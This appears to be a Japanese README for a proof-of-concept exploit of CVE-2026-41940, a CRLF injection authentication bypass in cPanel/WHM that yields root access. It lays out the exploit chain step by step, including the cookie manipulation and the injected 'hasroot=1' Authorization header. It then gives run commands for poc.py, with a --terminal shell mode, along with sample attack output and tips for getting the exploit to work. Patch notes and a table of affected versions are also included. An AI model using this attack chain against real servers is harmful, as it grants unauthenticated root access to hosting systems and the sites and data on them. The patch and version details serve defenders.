
CVE-2026-41940の概念実証エクスプロイト。CRLFインジェクションによるcPanel/WHMの認証バイパスを利用し、認証なしでのrootアクセスと対話型シェルを可能にする重大な脆弱性です。
作成者: SilySec
オリジナル研究: Sina Kheirkhah (@SinSinology) / watchTowr Labs
深刻度: 緊急 (CVSS 9.8)
種別: CRLFインジェクション → 認証バイパス → rootシェル
CVE-2026-41940 は、cPanel/WHM における深刻な脆弱性であり、認証されていない攻撃者が cpsrvd の Basic 認証ハンドラにおける CRLF インジェクションを介して完全な root アクセスを取得することを可能にします。
この脆弱性は、3つの弱点を組み合わせたものです:
Cpanel/Session.pm 内の saveSession() 関数は、Cookie に <ob> キーが存在しない場合、ディスクへの書き込み前に \r\n 文字をサニタイズしません。<obHEX> セグメントがない場合、セッションごとのエンコーダが有効にならず、CRLF バイトがセッションファイルに平文で書き込まれます。Cpanel::Session::Modify::save() は生のファイルを再読み込みし、注入された CRLF キーを JSON キャッシュに昇格させ、セッションを完全に認証済みにします。POST /login/?login_only=1 [誤ったパスワード]
└─► cookie: whostmgrsession=:ID,<obHEX>
,<obHEX> を削除 → :ID [エンコーダを無効化]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd が生の CRLF バイトをセッションファイルに書き込む
GET /scripts2/listaccts + Cookie: :ID [セキュリティトークンなし]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► hasroot=1, tfa_verified=1 を含む JSON キャッシュが再構築される
→ root として認証されたセッション
pip install requests
# --terminal モード用 (オプション):
pip install paramiko
python3 poc.py --target https://TARGET:2087
python3 poc.py --target https://TARGET:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.example.com
[1/4] preauth セッションを作成中 ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] CRLF ペイロードを注入中 ...
307 → リークしたトークン = /cpsess1234567890
[3/4] キャッシュ伝播をトリガー中 ...
do_token_denied → Cpanel::Session::Modify::save() が発火
[4/4] root アクセスを検証中 ...
✔ 認証バイパスが確認されました
cPanel バージョン : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host ヘッダーで使用する必要があります (IP ではなく) — cpsrvd はホスト名によってセッションの処理方法が異なります9999999999 (固定、遠い未来) である必要があります — 現在のタイムスタンプでは失敗しますsuccessful_internal_auth_with_timestamp が最初に来る必要がありますこのパッチは、filter_sessiondata() の呼び出しを saveSession() 内に移動し、<ob> キーが存在しない場合に条件付きエンコーディングを追加して、平文での書き込みを防止します。
上記の修正バージョンに cPanel/WHM を直ちに更新してください。
このツールは、研究および内部テスト目的のみで提供されています。明示的な許可なくシステムで使用することは違法です。SilySec は、不正使用によって生じたいかなる責任も負いません。
| ブランチ | 影響を受ける最終バージョン | 修正バージョン |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |